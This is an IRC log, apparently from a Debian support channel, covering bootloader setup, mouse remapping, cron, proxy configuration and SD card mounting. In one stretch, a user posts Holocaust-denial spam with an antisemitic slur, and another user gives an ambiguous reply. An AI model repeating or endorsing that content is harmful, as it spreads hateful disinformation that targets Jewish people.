| 19:24.12 | jolt | nikitasius: Well, to be honest, you only gave us two options :) |
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| 19:24.38 | MarkL | Hi guys, I have installed opensuse along with debian but the initial screen to choose the system, I don't remember the name, does not recognize opensuse so in the list I see just debian and ubuntu, why? |
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| 19:25.02 | configuringMOUSE | I've googled for hours and there are some people who had my same issue, but no one provided an answer!!!!! i'm going crazy. I've been 4 hours on this. I just want my mouse thumb to behave as a keyboard key, why is it so complicated? |
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| 19:26.03 | nikitasius | jolt: lol :) aes192 in the middle between 128 and 256. |
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| 19:26.17 | Brigo | MarkL, Debian installer can't find it. It could be because of the filesytem (unlikely) or the kernel is not in the expected place or something like it. |
| 19:26.23 | jolt | configuringMOUSE: have you used xev to see which keycode is sent when you press it? |
| 19:26.35 | Brigo | MarkL, i don't know opensuse os i can't only guess. |
| 19:26.55 | configuringMOUSE | jolt: yes, I said I tested it with xev |
| 19:27.07 | jolt | oh, sorry :/ |
| 19:27.12 | configuringMOUSE | <configuringMOUSE> tested it with xev, having thumb_1 remapped to SPACE key, and while pressing thumb in fact printed space, pressing thumb while holding left click printed button 8 (default mouse thumb button), |
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| 19:27.22 | configuringMOUSE | np |
| 19:27.56 | verumnost | I am installing debian on qemu and I can't complete the last step -> install the GRUB to the hard disk. Can anyone help ? |
| 19:27.57 | dontknow | MarkL, it is called grub |
| 19:28.24 | Brigo | configuringMOUSE, i would guess both buttons pressed generate another code you have to remap too. |
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| 19:28.42 | dontknow | verumnost, elaborate |
| 19:28.45 | MarkL | dontknow, yes grub |
| 19:28.47 | jolt | configuringMOUSE: I just use i3vm, and there I have just mapped keys like that in i3, so maybe it's the VM's config that should handle it? Which VM are you running? |
| 19:29.38 | configuringMOUSE | Brigo when I hold right mouse button, for example, and press thumb, xev displays thumb as thumb (instead of Space, my remap) |
| 19:29.46 | zykotick9 | configuringMOUSE: <i have no idea if this is actually related, but wanted to mention> a problem with SOME but not all PS2->USB adapters is they can only accept a single input at a time. there are some games which require TWO buttons to be pressed at the same time, and these "cheap" adapters can't. i wonder if you mouse might be similar? best of luck. |
| 19:29.57 | configuringMOUSE | it doesn't generate another code, it just reverts to default settings |
| 19:30.17 | verumnost | dontknow: qemu-system-x86_64 -hda debian.img -cdrom debian-testing-amd64-netinst.iso -boot d -m 512 and everything left at defaults |
| 19:30.27 | configuringMOUSE | zykotick9: nope, I am on pure USB but that could've been : D |
| 19:30.29 | verumnost | dontknow: all steps completed except GRUB/LILO |
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| 19:30.35 | dwarfmut | guys, please... |
| 19:30.51 | dwarfmut | thinkpad x201i its a good laptop for free-software? |
| 19:30.56 | verumnost | dontknow: I see a message saying that and I can only go back to debian installer menu |
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| 19:31.16 | configuringMOUSE | jolt: it's neither window manager nor virtual machine related, this is just about xorg and the tools available to remap |
| 19:31.22 | zykotick9 | configuringMOUSE: sorry, i meant PS2 as in Playstation 2 ;) but if the button is reverting to default, i doubt it's a lack of multi-input support. good luck. |
| 19:31.48 | dwarfmut | guys ? |
| 19:31.58 | dontknow | verumnost, interesting. i don't know |
| 19:31.59 | tomcres | MarkL: what likely happened is that the last operating system you installed, when it updated grub.cfg, didn't detect opensuse and therefore didn't add it to the boot menu. I just don't know a way to fix it other than manually adding an entry to grub.cfg, and I wouldn't want to have you do that just to have it overwritten again at a later time. someone must know a better way to do this, but I'm⦠|
| 19:32.06 | tomcres | â¦afraid I don't. sorry. |
| 19:32.15 | verumnost | dontknow: I know, it's obvious |
| 19:33.14 | MarkL | tomcres, thx |
| 19:33.14 | dontknow | verumnost, you don't see grub install prompt? |
| 19:33.18 | zykotick9 | !testing installer |
| 19:33.19 | dpkg | Repeat after me: the testing installer is for testing the <installer>, not for installing <testing>. To install testing, do a minimal installation using the <stable> installer and ask me about <stable->testing>. Installer bugs should be filed against the debian-installer pseudopackage. https://www.debian.org/devel/debian-installer/ |
| 19:33.33 | zykotick9 | verumnost: above is for you... |
| 19:34.24 | dontknow | zykotick9, yeah it makes sense |
| 19:34.38 | verumnost | what is the relation to my case ? |
| 19:34.44 | zykotick9 | dontknow: ok?! |
| 19:34.52 | verumnost | I don't believe it's a bug... just something I am missing |
| 19:35.00 | verumnost | maybe qemu related |
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| 19:35.11 | jolt | configuringMOUSE: How about xbindkeys? |
| 19:36.03 | dontknow | zykotick9, it makes sense when it is testing installer |
| 19:36.24 | zykotick9 | dontknow: ok. |
| 19:36.29 | dontknow | lol |
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| 19:38.39 | configuringMOUSE | jolt: I've tried xte, xbindkeys, and imwheel |
| 19:39.09 | jolt | configuringMOUSE: can you get it at all to respond to xbindkeys -k? |
| 19:40.05 | configuringMOUSE | yes, it works, but when i am holding another mouse button it doesn't work |
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| 19:40.15 | graps | Hi all |
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| 19:41.21 | graps | Is there something else I need to install on Debian Wheezy besides postfix, if I want to send e-mail messages ? |
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| 19:41.29 | configuringMOUSE | http://superuser.com/questions/883782/how-do-i-properly-map-a-keyboard-key-to-a-mouse-button this guy explains it better |
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| 19:41.50 | tomcres | configuringMOUSE: is it possible that the combination of the two buttons is a different event? could you possibly remap that combination of buttons? (just trying to help you brainstormâ¦not an expert at all) |
| 19:42.31 | tomcres | graps: any mail server should do, including postfix. You shouldn't require anything else. |
| 19:42.55 | configuringMOUSE | tomcres: the combination of holding mouse left click and pressing thumb equals Thumb, the remapping is ignored when another mouse button is being held |
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| 19:43.06 | graps | tomcres: Thanks. I am working out the mail.cf and individual user mailboxes now |
| 19:43.15 | configuringMOUSE | the event is the same as If i'd pressed thumb with no remap |
| 19:43.55 | tomcres | configuringMOUSE: I understand your frustration. This really doesn't make much sense then. |
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| 19:45.33 | configuringMOUSE | sudo apt-get install xbindkeysrc -> vi .xbindkeysrc -> xte 'key Up'"b:8 -> run xbindkeys |
| 19:46.23 | configuringMOUSE | if you do that, pressing one of the thumb buttons will equal to press key Uparrow, but if you are holding left or right mouse button and press the same thumb button, it will do nothing, it will just resort to default thumb button behaviour |
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| 19:49.39 | somiaj | configuringMOUSE: do you know if this is generating real of fake events, many apps don't like fake key/mouse presses. |
| 19:51.10 | somiaj | it might also be the order that the events are being recieved, so when holding a mouse button down, something else may be monintoring the event and not passing it on... |
| 19:51.27 | configuringMOUSE | somiaj: this is app independant, even xev will ignore the remap |
| 19:52.15 | somiaj | usually the wm gets first whack at dealing with events, then it passes them along if it doesn't have any bindings setup |
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| 19:54.28 | configuringMOUSE | I thought xev received the events before any window/desktop manager |
| 19:54.36 | somiaj | nope |
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| 19:54.48 | somiaj | xev only recieves events that the wm/de doesn't have, so if you have a binding xev won't see it |
| 19:54.53 | dwarfmut | guys... the x201i its a good laptop? |
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| 19:55.11 | somiaj | kinda like if you have a binding in your wm, it won't pass to the app, so if you bind ctrl-q in your wm, an app cannot recive that |
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| 19:55.55 | configuringMOUSE | somiaj: I don't have a binding in my window manager to the keys I am binding, but if this is happening because the manager, then it gets even worse |
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| 19:56.41 | somiaj | configuringMOUSE: my wm sometimes has a generic binding for all mouse buttons, but in my wm I have a binding for Super_R to launch xterms, xev doens't recive the keepress for Super_R because my wm takes it |
| 19:57.03 | somiaj | one way to test things is to run a xsession with only an xterm so there sin't any wm/other app intercepting the bindings |
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| 19:58.14 | configuringMOUSE | I was with i3, I had to switch because it was killing my eyes.. now I am with KDE, sometimes the compositor gets messy and my eyes hurt (like now) but if I reboot gets back to normal |
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| 19:59.35 | configuringMOUSE | but I don't think KDE is interfering, I think xbindkeys can only listen only for a single button at once, so holding one kind of denies the remapping on the other |
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| 19:59.47 | configuringMOUSE | same thing happens with imwheel |
| 20:01.07 | Pr0metheus | any idea why the netbeans package is available for whizzy, stretch, testing but not jessie? |
| 20:01.17 | styles | I was trying to install something that had some messed up packages. I can't remember what and I'm stuck with The following packages have unmet dependencies: |
| 20:01.25 | tomcres | ,v netbeans |
| 20:01.26 | judd | Package: netbeans on amd64 -- wheezy: 7.0.1+dfsg1-5; sid: 8.1+dfsg3-1; stretch: 8.1+dfsg3-1; experimental: 8.2+dfsg1-1 |
| 20:01.35 | styles | How can I figureo ut how to either remove the half installed package or clean this up so I can upgrade my system |
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| 20:02.37 | zykotick9 | styles: have to tried "apt-get -f install" yet? |
| 20:03.00 | styles | I was scared to lol |
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| 20:06.36 | stew | Pr0metheus: it was removed when it failed to build: https://packages.qa.debian.org/n/netbeans/news/20140430T163913Z.html |
| 20:06.37 | magnulu | how can I find out if I need postgresql installed (without stopping it and waiting for something to break) |
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| 20:07.56 | stew | Pr0metheus: oops, wrong one, but the right one has the same reason: https://packages.qa.debian.org/n/netbeans/news/20151205T163912Z.html |
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| 20:08.33 | Pr0metheus | thanks stew, found it very strange |
| 20:08.43 | zykotick9 | magnulu: "aptitude why FOO" would tell you if any other packages rely on it |
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| 20:09.25 | magnulu | zykotick9: thanks |
| 20:09.50 | doublehp | I wrote /etc/cron.hourly/munin_update_zm.sh ... with perms -rwxr-xr-x . It does not seem to be run at all; manual execution from interactive shell works fine; but output does not seem to be sent to /var/log/messages or /var/log/syslog or emails; here is the beginning that REALLY SHOULD send things ... http://slexy.org/view/s2E3gNSPCV |
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| 20:10.47 | stew | Pr0metheus: i'm not going to be too surprised to find out that it's not the most well looked after package |
| 20:10.53 | no_gravity | Are you guys using noatime for your local paritions? |
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| 20:11.08 | stew | Pr0metheus: I've been developing for the JVM for a long time, and I can't remember the last time I actually encoutnered someone that wanted to use netbeans |
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| 20:12.29 | Pr0metheus | stew well i am not sure about it, just looking for an ide for webdevelopment (html,php,css) |
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| 20:15.12 | no_gravity | I switched to noatime today. |
| 20:15.16 | no_gravity | I wonder who thought that keeping track of access time by default is a good idea. |
| 20:16.01 | ryouma | atime is not default on debian jessie |
| 20:16.28 | ryouma | that is, updating at access is not default |
| 20:16.37 | ryouma | and that's called atime i think |
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| 20:17.07 | ryouma | relatime or whatever it's called is default\) |
| 20:17.08 | Wizard | Hi |
| 20:17.46 | Wizard | I need a development editor for Linux, for c++, js and html :) |
| 20:18.10 | Wizard | vscode would be perfect, but it doesn't run on ARM |
| 20:18.17 | Wizard | Any suggestions? |
| 20:18.33 | no_gravity | Wizard: VIM |
| 20:18.57 | Wizard | Nope |
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| 20:19.57 | at0m | Wizard: debian or raspbian? looking for a developer? then i'd ask and lurk long. |
| 20:20.15 | Wizard | raspbian |
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| 20:24.55 | apathor | Wizard: emacs? :) |
| 20:25.11 | Wizard | apathor: :) |
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| 20:25.30 | Wizard | Maybe jEdit? :P |
| 20:25.38 | soupmagnet | does anyone have an idea why I have to run commands like curl, wget, lynx, etc. as root all of a sudden? |
| 20:26.37 | soupmagnet | I've checked the permissions of each and they're fine |
| 20:26.45 | teraflops | soupmagnet: what happens when you run them as normal user? |
| 20:26.46 | Wizard | Go to /usr/bin and check modification dates |
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| 20:27.30 | soupmagnet | $ curl -I google.com -> curl: (7) Failed to connect to 127.0.0.1 port 8888: Connection refused |
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| 20:27.36 | soupmagnet | that |
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| 20:27.47 | odfhw5bv9s | Hi all! I have some questions. I'm an ubuntu user now. I got dissatisfied with ubuntu after some talks on a channel about the term within the packages should get security upgrades. I wonder if debian sid can help me. I also use GPU drivers from padok ppa (in fact the ppa belongs to paulo-miguel-dias). I wonder if they are available on debian. |
| 20:27.52 | teraflops | soupmagnet: so you host google? neat |
| 20:28.06 | soupmagnet | just an example |
| 20:28.06 | Wizard | soupmagnet: Did you have proxy installed and configured on this system? |
| 20:28.11 | teraflops | ^ |
| 20:28.25 | odfhw5bv9s | *padoka |
| 20:28.48 | soupmagnet | I did install mono a while back for the purpose of using fiddler on linux |
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| 20:28.59 | soupmagnet | it didn't work so I removed it |
| 20:29.31 | soupmagnet | how do I check for active proxies |
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| 20:31.15 | Wizard | set | grep -i proxy |
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| 20:31.47 | soupmagnet | yep |
| 20:32.04 | soupmagnet | http proxied to 8888 |
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| 20:33.03 | Wizard | cd; grep -i proxy .bashrc .profile .bash_profile |
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| 20:33.25 | soupmagnet | yeah, it was in .bashrc |
| 20:33.30 | Wizard | What is fiddler? |
| 20:33.43 | Wizard | Did you put it there? |
| 20:34.08 | mefistofeles | so, I'm creating mirror repositories using aptly, where you have to add the keyring... I have the debian-archive-keyring.gpg in my /usr/share/keyrings, but what if I want to create an ubuntu repository in a debian host? |
| 20:34.14 | soupmagnet | a windows program a collegue recommended |
| 20:34.24 | mefistofeles | where do I find the ubuntu-archive-keyring.gpg file? should I just download it? |
| 20:34.25 | soupmagnet | I did not add the lines to the .bashrc |
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| 20:36.05 | Wizard | Either you did, you ran some script which di it or someone else did it |
| 20:36.34 | soupmagnet | I'm sure it was a script |
| 20:36.44 | Wizard | odfhw5bv9s: I'm not sure if debian supports ubuntu ppas, for sure if you add it to sources list it won't work |
| 20:37.04 | soupmagnet | either way, I can curl now...thats all I care about. Thanks! |
| 20:37.20 | Wizard | odfhw5bv9s: Especially if this is some kind of kernel module, for example |
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| 20:37.45 | odfhw5bv9s | Wizard: I know. I wonder if you have debian versions of packages. |
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| 20:38.27 | Wizard | http://packages.debian.org and check |
| 20:38.36 | mefistofeles | ah, nvm, I just download the ubuntu-archive-keyring package, nice job debian! |
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| 20:39.57 | Wizard | On the other hand, odfhw5bv9s, you are concerned about security updates in Ubuntu yet you use packages compiled by some random Brazilian guy in the garage. |
| 20:40.09 | Wizard | I find this lack of logic disturbing :P |
| 20:40.27 | ikonia | 2 days is too long to wait for a package |
| 20:40.40 | ikonia | so may as well change distros and run wrong software on the wrong distro |
| 20:42.21 | Wizard | OK, atom's buildscript doing something in the background, time to switch to serious hardware and watch some movie |
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| 20:45.09 | odfhw5bv9s | Wizard: every packae builder is explicitly trusted. But not every website is trusted. I mean that running an unpatched webbrowser is much worse than running builds from a guy whose builds are used by nearly everyone who uses mesa and drivers from git. |
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| 20:45.34 | Skaag | Hi there, I have a weird issue with my mac address changing every few minutes |
| 20:45.36 | Skaag | https://gist.github.com/anonymous/0b3417c2e58f13492aaf3d46d2e6b225 |
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| 20:45.46 | Skaag | same wireless adapter, same machine |
| 20:45.58 | ikonia | Skaag: exactly what distro are you running please |
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| 20:46.32 | Skaag | Debian 9.0 Stretch |
| 20:46.38 | Rust3dCor3 | guys. tell me. I like debian, but from time to time i got sigterms and sigkills from various apps. i have vlc problem. is this a problem of my package configuration or it normal in debian stable? |
| 20:46.39 | Skaag | that's what lsb_release -a says |
| 20:47.20 | ikonia | Skaag: not what lsb_release says |
| 20:47.22 | ikonia | what distro is it really though |
| 20:47.23 | Skaag | Rust3dCor3: as nothing to do with debian itself, it's most likely a resources issue, dmesg is your friend in such cases, or the application's log files (make sure to enable debug logs in the case of VLC) |
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| 20:47.42 | Skaag | it is debian 100% |
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| 20:48.05 | Skaag | I installed this a couple of years ago, and I've been remote upgrading it once in a while over ssh |
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| 20:51.18 | Nh3xus | can't wait Stretch to go stable |
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| 20:55.03 | Skaag | so it looks like wpa_supplicant has a setting to randomize the mac address |
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| 20:55.28 | Skaag | none is set, and the default is 0 but somehow it's using the '1' setting which is to randomize the mac address on every new connection |
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| 21:01.44 | nn | I want to mount a SDCard. The SDcard Partition was created by CyanogenMod while the first startup as a internal storage. |
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| 21:01.47 | nn | mount -t vfat /dev/mmcblk0p2 /mnt/ |
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| 21:02.01 | nn | But the answer in dmesg is. |
| 21:02.13 | nn | utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive! |
| 21:02.23 | nn | invalid media value (0x58) |
| 21:02.33 | nn | Can't find a valid FAT filesystem |
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| 21:03.24 | nn | How do I mount this SDCard? |
| 21:03.36 | tomcres | nn are you sure it's VFAT and not ext3? |
| 21:04.43 | nn | If I mount without the -t option, ext filesystems should be recognized automatically? I tried it, but cant mount. |
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| 21:11.19 | nn | fdisk says that the partition type is unknown |
| 21:11.25 | soupmagnet | do you see your device in the output of lsusb > nn |
| 21:11.45 | soupmagnet | nevermind |
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| 21:14.24 | `Kevin | nn try file -s |
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| 21:16.49 | satbyy | Hi, is there some DNS caching in default install? |
| 21:17.12 | greycat | Unlikely. |
| 21:17.22 | `Kevin | nn: blkid may also be of help to identify FS type |
| 21:17.44 | greycat | A typical netinst on a machine with a working ethernet on a DHCP network just uses the DHCP server-provided nameservers in resolv.conf. |
| 21:19.29 | nn | file -s says for the first partition:MSDos/Mbr... and a lot of more parameters. I can mount this 16MB Partiton as vFat. But I'm interested on the second 30gb partition. Here says file -s only "data" |
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| 21:21.01 | nn | blkid says for the 30GB partition: Partlabel=Android_Expand |
| 21:21.21 | `Kevin | nn cyanogenmod, was it formatted on phone? if so just re-add it to the phone and use adb shell+usb to check how it mounted it (this is offtopic in that case) |
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| 21:23.51 | nn | Kevin: Yes, the SDCard was partioned in CyanogenMod while the first startup. I will ask in an android forum. |
| 21:24.18 | nn | Thansk at all :) |
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| 21:32.29 | satbyy | greycat: ahan, so not Debian but chromium maintains its own DNS cache! Had to clear it in chrome://net-internals/#dns (click "Clear host cache") |
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| 21:47.40 | nixb0y | I notice that the '~/.cache/thumbnails' files are being deleted/flushed with every reboot .... how can I prevent the deletion of the generated thumbnails ? |
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| 21:55.22 | MarkL | I have gnome and have deactivated the mousepad please help me to move it |
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| 21:56.25 | jhutchins_wk | How common is it to have problems with space vs. tab whitespace in config files these days? |
| 21:57.00 | jolt | jhutchins_wk: depends on the config, with yaml it's very common |
| 21:57.08 | tomcres | I think with YAML it's very common |
| 21:57.19 | jolt | tomcres: ^5 |
| 21:57.24 | tomcres | lol yes :-) |
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| 21:59.09 | ponyofdeath | hi, trying to resize my partition from command line using parted /dev/vda resizepart 1 -1 without any luck how to i specify to use all the space? |
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| 22:00.14 | MarkL | Hey |
| 22:00.40 | MarkL | How to move the arrow with keyboard? |
| 22:00.55 | jhutchins_wk | MarkL: Application dependent, not fully supported. |
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| 22:01.16 | jhutchins_wk | MarkL: There used to be a virtual mouse driver for Xorg, haven't seen it in ages. |
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| 22:03.18 | tw | Where can I find documentation on /usr/share/pam-configs/ syntax? The directory itself comes from libpam-runtime but that only includes manpages for pam.d.5 and pam.7. |
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| 22:06.35 | nixb0y | MarkL: if you're on gnome3, settings > Universal Access > Pointing & Clicking > (Enable) Mouse Keys |
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| 22:07.26 | DammitJim | are you guys aware of any reasons why a cron job wouldn't run? |
| 22:07.29 | nkuttler | ,checkbackport python3.5 |
| 22:07.30 | judd | Backporting package python3.5 in sidâjessie/amd64: unsatisfiable build dependencies: Build-Depends: gcc (>= 4:6.3). |
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| 22:07.46 | nkuttler | well crap, the testing src segfaults when building.. |
| 22:07.46 | DammitJim | I see in /var/mail/<user> that the job runs |
| 22:07.54 | DammitJim | but not at the interval expected |
| 22:08.11 | nkuttler | DammitJim: what's the actual crontab line? |
| 22:08.28 | DammitJim | thank you, hold on |
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| 22:08.37 | DammitJim | */10 * * * * /usr/local/bin/lst-var-data-copy.py |
| 22:08.37 | nkuttler | DammitJim: and the output of date, and when you expect the job to run |
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| 22:08.50 | DammitJim | now, I do have 3 more jobs with the same "interval" set |
| 22:09.27 | DammitJim | I expect the job to run every 10 minutes; however, in /var/mail/<user> I see a record for like: 14:20, then 14:30, but then skips to 14:50 |
| 22:09.38 | DammitJim | is cron multi-threaded? |
| 22:09.46 | DammitJim | I know nothing, not sure why I asked that |
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| 22:09.58 | greycat | Maybe there was no output for the 14:40 run. |
| 22:10.17 | DammitJim | that's an interesting point |
| 22:10.25 | DammitJim | if there is no output, then the job doesn't log? |
| 22:10.35 | DammitJim | I have it set up where it sends that email |
| 22:10.36 | greycat | It doesn't EMAIL unless there is output. LOGGING is totally separate. |
| 22:10.38 | DammitJim | let me check the other log |
| 22:12.00 | DammitJim | thanks greycat for clarifying that |
| 22:12.09 | DammitJim | dammit, then that means I have some bug in my code |
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| 22:14.57 | greycat | If you want to ensure that you get an email every time the job runs, make sure you write a line to stdout or stderr at the very beginning of the job. |
| 22:15.25 | greycat | Or even in the crontab line itself before the job is even executed. |
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| 22:15.54 | DammitJim | yes, sir |
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| 22:21.17 | wondiws | what is the most automatic way to reinstall grub and let it detect new partitions with OS? |
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| 22:23.21 | mtn | wondiws: sudo update-grub? |
| 22:23.39 | wondiws | mtn, thanks |
| 22:23.42 | mtn | wondiws: or, su first, the update-grub |
| 22:23.58 | wondiws | mtn, yeah yeah, that I know :P |
| 22:24.01 | wondiws | thanks, this was all |
| 22:24.07 | towo` | update-gub does not reinstall grub |
| 22:24.11 | zykotick9 | wondiws: depending on your setup, you might need to (re)install grub first... |
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| 22:24.57 | wondiws | but this was it already, I first installed debian, then Windows 8, I already restored GRUB with the debian setup ISO on USB stick, in the recovery mode or whatever it's called |
| 22:25.05 | wondiws | now update-grub adds the Windows 8 to the list |
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| 22:25.17 | tomcres | grub-install /dev/foo reinstalls grub; update-grub updates the grub.cfg file |
| 22:25.50 | highIQ | 6,000,000 LIES!!! THE GREATEST HOAX IN HISTORY https://youtu.be/TAtVKLATABM |
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| 22:26.39 | tomcres | !ops highIQ |
| 22:26.40 | dpkg | Hydroxide, dondelelcaro, LoRez, RichiH, mentor, abrotman, Maulkin, stew, peterS, Myon, Ganneff, weasel, zobel, themill, babilen, SynrG, jm_, somiaj, jelly: tomcres complains about: highIQ |
| 22:26.54 | highIQ | Gotta censor the truth. Get on it, goyim. |
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| 22:27.06 | highIQ | Quick before it's too late. |
| 22:27.37 | wondiws | highIQ, we all agree, but it's beyond the scope of this channel |
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| 22:34.48 | newbie22 | what do you guys think about the Comptia Linux+ Certification, I am thinking about taking the exam ?? |
| 22:35.12 | zuiss1 | does anyone have FDE on a ssd? does it really hurt performance compared to unencrypted? |
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| 22:35.39 | bazhang | newbie22, cross posted how many channels |
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| 22:37.35 | zykotick9 | zuiss1: which is your priority: performance or security? (personally i don't notice a difference between fde and non-fde myself... ymmv) |
| 22:37.37 | Skaag | does network manager create wpa_supplicant.conf files? |
| 22:37.50 | Skaag | asking for a friend |
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| 22:39.11 | zuiss1 | zykotick9: i don't know. i was just wondering if it's true or not |
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| 22:39.41 | zuiss1 | zykotick9: you're installed on a ssd with fde? |
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| 22:40.55 | zykotick9 | zuiss1: i am. ssd+fde... |
| 22:41.09 | zuiss1 | ok as long as performance is still good |
| 22:41.56 | wondiws | zykotick9, ssd + floppy drive? |
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| 22:50.32 | borrougagnou | Hi, I looking for how to install GCC 6.2 into Debian 8... without installing ALL "testing" repo... in Ubuntu just need insert ppa:ubuntu-toolchain-r/test repo but into debian is not working... I have try compile GCC manually but is too hard x.x |
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| 22:52.29 | bazhang | borrougagnou, an ubuntu PPA with debian? |
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| 22:54.00 | borrougagnou | bazhang> yes ... strange is not working for find gcc-snapshot package... |
| 22:54.15 | hanasaki | why would ondemand freq governor default to this? and how can it be setup to default to min around .800 and max around 3.5 without having to set it directly? I thought that was the whole point of ondemand.... "current policy: frequency should be within 3.50 GHz and 3.50 GHz." |
| 22:54.22 | borrougagnou | but with ubuntu is not problem |
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| 22:55.18 | bazhang | borrougagnou, ubuntu PPA are not meant for debian |
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| 22:56.31 | borrougagnou | bazhang> okay but how to install gcc 6.2 into debian without installing ALL "testing" repo... |
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| 22:57.01 | bazhang | borrougagnou, first, why the need for that specific version |
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| 22:57.48 | TomTomTo1 | installing the binary from testing is not a good idea and building from testing source will also not be easy. i would recommend you create a build environment with debootstrap and chroot. then you can mess around without damaging your system. |
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| 22:58.10 | borrougagnou | bazhang> because I work with other people and I need compile with this version |
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| 22:58.30 | bazhang | borrougagnou, they are fully compatible |
| 22:58.47 | borrougagnou | TomTomTo1> how x.x why is so complicate for install specific packet with debian x.x |
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| 23:00.31 | borrougagnou | bazhang> sorry but no... I have another people last time he have problem with compile with this version... |
| 23:00.48 | borrougagnou | *for compile with |
| 23:01.07 | borrougagnou | I need gcc/g++ 6 |
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| 23:02.33 | phogg | borrougagnou: you can always compile it yourself; it's really not hard |
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| 23:03.20 | borrougagnou | phogg> I have try but make explain many many many error... |
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| 23:04.13 | borrougagnou | each time I need specific software, etc.. too complicated... |
| 23:04.14 | phogg | borrougagnou: I just went and grabbed the source from gnu and am compiling now... I was missing only 3 packages. I recommend you apt-get build-dep the version of gcc available on your debian now, then try again |
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| 23:05.09 | trotski2000 | zuiss1: I have fde on ssd. I don't notice difference between fde and no fde. |
| 23:05.27 | borrougagnou | phogg> okay I try tomorrow... but I'm not sure... |
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| 23:08.23 | zuiss1 | trotski2000: thanks. everything i read says because FDE uses the entire disk, it hurts performance since ssd performance drops when the disk is full. so it's like in an always-full state |
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| 23:08.34 | zuiss1 | but good to know at least some people don't notice here |
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| 23:09.22 | trotski2000 | zuiss1: the impact is negligible in my experience. |
| 23:09.50 | zuiss1 | check out the guy's answer to the question in this thread https://askubuntu.com/questions/53872/how-do-i-set-up-full-disk-encryption-on-an-ssd |
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| 23:18.53 | Resilience | hello to everyone, I would like to install virtual vox and here "https://wiki.debian.org/VirtualBox" says that for testing (debian 9) I have to add to sources.list a not official repository, is it reasonable? I have _never_ use non-official sources (I know that this channel is not for testing, but this channel uses to have a little more people active in it, and it is not such a big off-topic) |
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| 23:19.33 | zykotick9 | wondiws: fde = full disk encryption |
| 23:19.59 | zuiss1 | Resilience: i think virtualbox won't be in debian 9 anymore |
| 23:20.12 | Resilience | zuiss1, why not? |
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| 23:20.58 | zuiss1 | because of issues with oracle |
| 23:21.45 | mww113 | Resilience: there shouldn't be any issue adding that source |
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| 23:21.51 | mww113 | it's not going to harm your os if that's what you mean |
| 23:22.26 | Resilience | mww113, not exactly harm, but I was thinking os kind of odd to have an official package for every version for debian but the last one |
| 23:22.52 | mww113 | zuiss1's explanation makes since to me |
| 23:23.07 | mww113 | if it's supported in stable and oldstable they're probably going to continue maintaining the packags |
| 23:23.10 | mww113 | *packages |
| 23:23.16 | mww113 | so as not to break people's setup |
| 23:23.26 | mww113 | but going forward it won't be part of Debian 9 |
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| 23:24.17 | Resilience | aha I understand, what kind of trouble refers to zuiss1 mww113 ? |
| 23:24.47 | RickHull | virtualbox came from Sun, who was very FOSS friendly |
| 23:24.55 | RickHull | oracle bought sun and has not been friendly |
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| 23:26.07 | mww113 | Oracle is kind of shitty |
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| 23:26.31 | mww113 | though my dad works for them so I guess I shouldn't complain about it too much or i'll be black-bagged |
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| 23:27.23 | SamSagaZ | hey guys, my debian are loggin like 30 hits/minute |
| 23:27.27 | SamSagaZ | [UFW BLOCK] IN=eth0 OUT= MAC=00:25:90:7e:c8:7b:00:24:14:05:7b:bf:08:00 SRC=76.218.49.250 DST=74.222.1.126 LEN=53 TOS=0x00 PREC=0x00 TTL=113 ID=12262 PROTO=UDP SPT=56465 DPT=27064 LEN=33 |
| 23:27.28 | SamSagaZ | [UFW BLOCK] IN=eth0 OUT= MAC=00:25:90:7e:c8:7b:00:24:14:05:7b:bf:08:00 SRC=190.247.52.2 DST=74.222.1.126 LEN=40 TOS=0x02 PREC=0x00 TTL=106 ID=32110 DF PROTO=TCP SPT=60111 DPT=22 WINDOW=0 RES=0x00 ACK RST URGP=0 |
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| 23:27.34 | SamSagaZ | stuff like that im getting :/ |
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| 23:29.05 | OerHeks | SamSagaZ, whois says that ip belongs to mail.alojamientodesitios.net |
| 23:29.18 | SamSagaZ | and looks like my apache cant show anything :/ looks like a DDOS? |
| 23:29.27 | dondelelcaro | SamSagaZ: you should change your logging setup to not log to the console |
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| 23:29.42 | SamSagaZ | im getting that into /var/log/messages |
| 23:29.50 | dondelelcaro | ah; cool. |
| 23:29.56 | SamSagaZ | OerHeks, yes its my domain |
| 23:30.17 | SamSagaZ | but cant resolve it, and i have apache running :/ |
| 23:30.38 | SamSagaZ | btw, upgrading now... |
| 23:32.06 | nauticalnexus | who do I go to about someone breaking rules in a #debian- channel on freenode? |
| 23:32.38 | dondelelcaro | nauticalnexus: if the channel has dpkg in it, call for !ops. Which channel? |
| 23:32.45 | nauticalnexus | #debian-offtopic |
| 23:32.49 | nauticalnexus | guy is talking about illegal drugs |
| 23:33.03 | hassoon | lmao |
| 23:33.04 | nauticalnexus | ugh, !ops didn't work |
| 23:33.07 | dondelelcaro | nauticalnexus: thanks |
| 23:33.09 | nauticalnexus | np |
| 23:33.27 | aedend | whaaa? |
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| 23:44.45 | GenTooMan | thanks somiaj the least of which forced me to check what the complaints were (sure did a lot of whining it did). |
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